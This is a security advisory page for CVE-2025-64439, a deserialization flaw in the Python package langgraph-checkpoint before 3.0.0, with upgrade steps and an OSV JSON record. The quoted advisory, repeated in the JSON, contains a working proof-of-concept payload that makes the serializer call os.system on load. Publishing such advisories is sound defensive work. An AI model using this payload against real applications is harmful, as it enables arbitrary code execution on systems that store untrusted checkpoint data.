CVE-2025-64439: Langgraph checkpoint Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-wwqv-p2pp-99h5
CWE-502
Published
Advisory Summary

CVE-2025-64439 is a HIGH remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Langgraph checkpoint libraries in the PyPI ecosystem. The issue involves langgraph checkpoint affected by rce in "json" mode of jsonplusserializer. Remediation is available by upgrading affected packages to version 3.0.0.

CVE-2025-64439 at a Glance

CVE Identifier CVE-2025-64439
GHSA Identifier GHSA-wwqv-p2pp-99h5
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Langgraph checkpoint
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-64439

To remediate this vulnerability, upgrade all affected Langgraph checkpoint dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langgraph-checkpoint fixed: 3.0.0
pip install langgraph-checkpoint>=3.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show langgraph-checkpoint

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-64439, inspect your installed packages using pip:

pip show langgraph-checkpoint

Analyze the terminal output to locate any version of Langgraph checkpoint in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.0), your application is affected.

Note: The pip show langgraph-checkpoint command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Langgraph checkpoint, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Summary Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode. If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization. Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode. If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. # Details **Affected file / component** [jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py) By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the `"json"` mode. When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load. --- # Who is affected This issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who: 1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode. If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced. # Proof of Concept (PoC) ```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver class State(TypedDict): foo: str attack: dict def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"} with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("__start__", "my_node"). compile(checkpointer=saver) ) attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } malicious_payload = { "attack": attack, } thread_id = "00000000-0000-0000-0000-000000000001" config = {"thread_id": thread_id} # Malicious payload is saved in the first call graph.invoke(malicious_payload, config=config) # Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config) ``` Running this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution. Internally, this exploits the following code path: ```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer serializer = JsonPlusSerializer() # Used within the checkpointer serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...) ``` --- # Fixed Version The vulnerability is fixed in **`langgraph-checkpoint==3.0.0`** Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0 --- # Fix Description The fix introduces an **allow-list** for constructor deserialization, restricting permissible `"id"` paths to explicitly approved module/class combinations provided at serializer construction. Additionally, saving payloads in `"json"` format has been deprecated to remove this unsafe fallback path. --- # Mitigation Upgrade immediately to `langgraph-checkpoint==3.0.0`. This version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications. In `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.

CVE-2025-64439 Affected Langgraph checkpoint Versions

1 component(s)
Fixed Versions:
3.0.0
Product / Package Ecosystem Affected Versions Fixed Version
langgraph-checkpoint
PyPI
< 3.0.0
3.0.0

References

Frequently Asked Questions

What is CVE-2025-64439?
CVE-2025-64439 is a security vulnerability in Langgraph checkpoint involving LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer under CWE-502: Deserialization of Untrusted Data.
Which Langgraph checkpoint versions are affected?
Affected versions include releases prior to 3.0.0 across affected packages: langgraph-checkpoint.
What version fixes CVE-2025-64439?
Upgrading to 3.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is langgraph-checkpoint affected?
Yes, langgraph-checkpoint is affected in releases prior to 3.0.0. Upgrade your dependency to 3.0.0 or later.
What CWE is associated with CVE-2025-64439?
CVE-2025-64439 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2025-64439?
Run the dependency tree command: 'pip show langgraph-checkpoint'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wwqv-p2pp-99h5",
  "modified" : "2025-11-07T21:55:55Z",
  "published" : "2025-11-05T19:52:50Z",
  "aliases" : [ "CVE-2025-64439" ],
  "summary" : "LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer ",
  "details" : "# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you > /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
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      "ecosystem" : "PyPI",
      "name" : "langgraph-checkpoint"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64439"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langchain-ai/langgraph"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-05T19:52:50Z",
    "nvd_published_at" : "2025-11-07T21:15:41Z"
  }
}